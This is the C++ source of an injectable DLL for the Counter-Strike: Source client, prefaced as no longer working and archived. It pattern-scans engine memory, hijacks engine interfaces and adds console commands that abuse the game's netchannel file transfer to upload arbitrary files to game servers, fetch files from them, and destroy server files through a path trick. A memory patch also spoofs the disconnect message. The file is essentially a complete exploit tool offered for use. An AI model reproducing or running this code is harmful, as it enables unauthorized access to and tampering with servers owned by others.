This doesn't work anymore, just for archiving

CSSUploadDownloadDelete.cpp

#define CLIENT_DLL

#include <stdio.h>
#include <iostream>

#include <tlhelp32.h>
#include <fstream>
#include <winsock.h>
#pragma comment( lib, "winmm.lib" )
#pragma comment( lib, "wininet.lib" )
#include <wininet.h>
#include <cmath>
#include <ctime>


#include "toolframework/ienginetool.h"
#include "Color.h"
#include "vstdlib/random.h"
#include "engine/IEngineTrace.h"

#include "gametrace.h"

#include "tier1/convar.h"
#include "playerinfomanager.h"
#ifdef WIN32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#else
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#endif

#include "tier0/memdbgon.h"

// Interfaces from the engine
IVEngineServer *engine = NULL; // helper functions (messaging clients, loading content, making entities, running commands, etc)
IGameEventManager *gameeventmanager = NULL; // game events interface
IPlayerInfoManager *playerinfomanager = NULL; // game dll interface to interact with players
IBotManager *botmanager = NULL; // game dll interface to interact with bots
IServerPluginHelpers *helpers = NULL; // special 3rd party plugin helpers from the engine
IUniformRandomStream *randomStr = NULL;
IEngineTrace *enginetrace = NULL;

IVEngineClient *enginecl = NULL;
IFileSystem *filesystem = NULL;
CGlobalVars *gpGlobals = NULL;
IClientEntityList *cl_list;
IClientEntity *cl_ent;

void InitCVars( CreateInterfaceFn cvarFactory );

using namespace std;

void __cdecl add_log (char *fmt, ...);
void ThreadThis(void);

bool bDataCompare (const BYTE* pData, const BYTE* bMask, const char* szMask) {
  for (; *szMask; ++szMask,++pData,++bMask)
    if(*szMask=='x' && *pData!=*bMask )
      return false;

  return (*szMask) == NULL;
}

std::string repeat (const std::string& str, int n) {
  std::string s;
  for (int i = 0; i < n; i++) {
    s += str;
  }

  return s;
}

BOOL APIENTRY DllMain (HMODULE hDll, DWORD dwReason, LPVOID lpReserved) {
  switch (dwReason) {
    case DLL_PROCESS_ATTACH:
      DisableThreadLibraryCalls(hDll);
      CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ThreadThis, 0, 0, 0);
      break;
  }

  return TRUE;
}

DWORD dwFindPattern (DWORD dwAddress,DWORD dwLen, BYTE *bMask, char * szMask) {
  for(DWORD i=0;i<dwLen;i++)
    if( bDataCompare( (BYTE*)( dwAddress+i ),bMask,szMask) )
      return (DWORD)(dwAddress+i);

  return NULL;
}

#pragma comment(lib, "user32.lib")

byte *getModuleBase (TCHAR *lpModName);
// useful helper func
inline bool FStrEq (const char *sz1, const char *sz2) {
  return (Q_stricmp(sz1, sz2) == 0);
}

void ThreadThis (void) {
  while (!GetModuleHandle("client.dll") || !GetModuleHandle("engine.dll")) {
    Sleep(1000);
  }
  
  HMODULE hEngine = GetModuleHandle( "engine.dll" );

  CreateInterfaceFn pClientDLL = (CreateInterfaceFn)GetProcAddress(GetModuleHandle("client.dll"), "CreateInterface");
  CreateInterfaceFn pEngineDLL = (CreateInterfaceFn)GetProcAddress(GetModuleHandle("engine.dll"), "CreateInterface");
  CreateInterfaceFn AppFactoryInterface = (CreateInterfaceFn)dwFindPattern((DWORD)hEngine, (DWORD)hEngine, (BYTE*)"\x8B\x44\x24\x04\x8B\x0D\x00\x00\x00\x00\x50\xE8\x00\x00\x00\x00\x8B\x4C\x24\x08\x85\xC9\x74\x09","xxxxxx????xx????xxxxxxxx");
  CreateInterfaceFn pVSTLDLL = (CreateInterfaceFn)GetProcAddress(GetModuleHandle( "vstdlib.dll" ), "CreateInterface");

  engine = (IVEngineServer*)pEngineDLL(INTERFACEVERSION_VENGINESERVER, NULL);
  enginecl = (IVEngineClient *)pEngineDLL(VENGINE_CLIENT_INTERFACE_VERSION, NULL );
  filesystem = (IFileSystem*)pEngineDLL(FILESYSTEM_INTERFACE_VERSION, NULL);
  g_pCVar = (ICvar*)pVSTLDLL(CVAR_INTERFACE_VERSION, 0);
  cl_list = (IClientEntityList *)pClientDLL(VCLIENTENTITYLIST_INTERFACE_VERSION, 0);

  MathLib_Init( 2.2f, 2.2f, 0.0f, 2.0f );

  ConVar_Register(0);

  Sleep(1000);

  pfDisconnect = dwFindPattern((DWORD)hEngine, (DWORD)hEngine+0x2A0000, (BYTE*)"\x44\x69\x73\x63\x6F\x6E\x6E\x65\x63\x74\x20\x62\x79\x20\x75\x73\x65\x72\x2E","xxxxxxxxxxxxxxxxxxx" );

  ConColorMsg(Color(0,255,0,255),"Injected\nType \"Update_Commands\" for a list of commands.");
  ConColorMsg(Color(0,255,0,255),"\n\n\nEngine Base Address: %p\nDisconnect address: %p\n\n", hEngine, pfDisconnect);
}

//-------------------------------
//OpenScript Command, Thread Starting
//-------------------------------

CON_COMMAND (Update_Commands, "Shows all avaliable commands and help") {
  ConColorMsg(Color(0,255,0,255),"Commands:\n");
  ConColorMsg(Color(255,0,0,255)," File_Commands - Shows all avaliable commands\n");
  ConColorMsg(Color(255,0,0,255)," File_Credits - Display the credits\n");
  ConColorMsg(Color(255,0,0,255)," File_Upload <path to file>\n");
  ConColorMsg(Color(255,0,0,255)," File_Delete <path to file>\n");
  ConColorMsg(Color(255,0,0,255)," File_Download <path to file>\n");
  ConColorMsg(Color(255,0,0,255)," Custom_Disconnect <message>\n");
}

CON_COMMAND (Update_Credits, "Display the credits") {
  ConColorMsg(Color(0,255,0,255),"Created by [NIN] and CrzYMikE\n");
  ConColorMsg(Color(255,0,0,255)," [NIN] - http://steamcommunity.com/profiles/76561198035531982/ \n");
  ConColorMsg(Color(255,0,0,255)," CrzYMikE - https://steamcommunity.com/profiles/76561198002516655 \n");
}

CON_COMMAND (File_Upload, "Upload a file to the server") {
  if (args.Arg(1) == "") {
    Warning("Usage: File_Upload <path to file>\n");
    return;
  }

  if (!enginecl->IsInGame()) {
    Warning("Join a server first.\n");
    return;
  }

  INetChannel *channel = (INetChannel *)enginecl->GetNetChannelInfo();
  channel->SendFile(args.Arg(1),1);
  Msg("Successfully uploaded %s\n",args.Arg(1));
  enginecl->Con_NPrintf(0,"Sucessfully uploaded %s",args.Arg(1));
}

CON_COMMAND (File_Delete, "Delete a file from the server") {
  if (args.Arg(1) == "") {
    Warning("Usage: File_Delete <argument>\n");
  return;
  }

  if (!enginecl->IsInGame()) {
    Warning("Join a server first.\n");
    return;
  }

  char DeleteMe[MAX_PATH] = "";
  if (!strstr(args.Arg(1),"/fucked.txt")) {
    strcat(DeleteMe,args.Arg(1));
    strcat(DeleteMe,"/fucked.txt");
  } else {
    strcat(DeleteMe,args.Arg(1));
  }

  INetChannel *channel = (INetChannel *)enginecl->GetNetChannelInfo();
  channel->SendFile(DeleteMe,1);

  Msg("Successfully deleted file\n");

  enginecl->Con_NPrintf(0,"Sucessfully deleted file.");
}

CON_COMMAND (File_Download, "Download a file from the server.") {
  if(!enginecl->IsInGame()) {
    Warning("Join A Server First.\n");
    return;
  }

  if(args.Arg(1)=="") {
    Warning("Usage: File_Download <file>");
    return;
  }

  INetChannel *channel = (INetChannel *)enginecl->GetNetChannelInfo();
  channel->RequestFile(args.Arg(1));

  Warning("Downloaded file %s\n", args.Arg(1));
  enginecl->Con_NPrintf(0,"%s has been downloaded.",args.Arg(1));
}

CON_COMMAND (Custom_Disconnect, "Set a custom disconnect message") {
  DWORD dwOldProtect;
  DWORD dwAddress = pfDisconnect;
  unsigned int i;

  const char *custom_msg = args.Arg(1);
  if (custom_msg == "") {
    custom_msg="Disconnected By User";
  }

  std::stringstream x;
  x << custom_msg;
  char *msgBuff = strdup(x.str().c_str());

  VirtualProtect((PVOID)(dwAddress), 256, PAGE_EXECUTE_READWRITE, &dwOldProtect);

  for (i=0; i <= (strlen(msgBuff)-1); i++) {
    memcpy((PVOID)(dwAddress+i), (void *)&msgBuff[i],1);
  }
  
  char none = '\0';
  memcpy((PVOID)(dwAddress+strlen(msgBuff)), (void *)&none,1);
  free(msgBuff);
  Sleep(100);
  engine->ServerCommand("disconnect\n");
  Sleep(500);

  std::stringstream original;
  original << "Disconnected By User";

  char *msgBufforiginal = strdup(original.str().c_str());

  VirtualProtect((PVOID)(dwAddress), 256, PAGE_EXECUTE_READWRITE, &dwOldProtect);

  for (i=0; i <= (strlen(msgBufforiginal)-1); i++) {
    memcpy((PVOID)(dwAddress+i), (void *)&msgBufforiginal[i],1);
  }

  memcpy((PVOID)(dwAddress+strlen(msgBufforiginal)), (void *)&none,1);
  free(msgBufforiginal);
}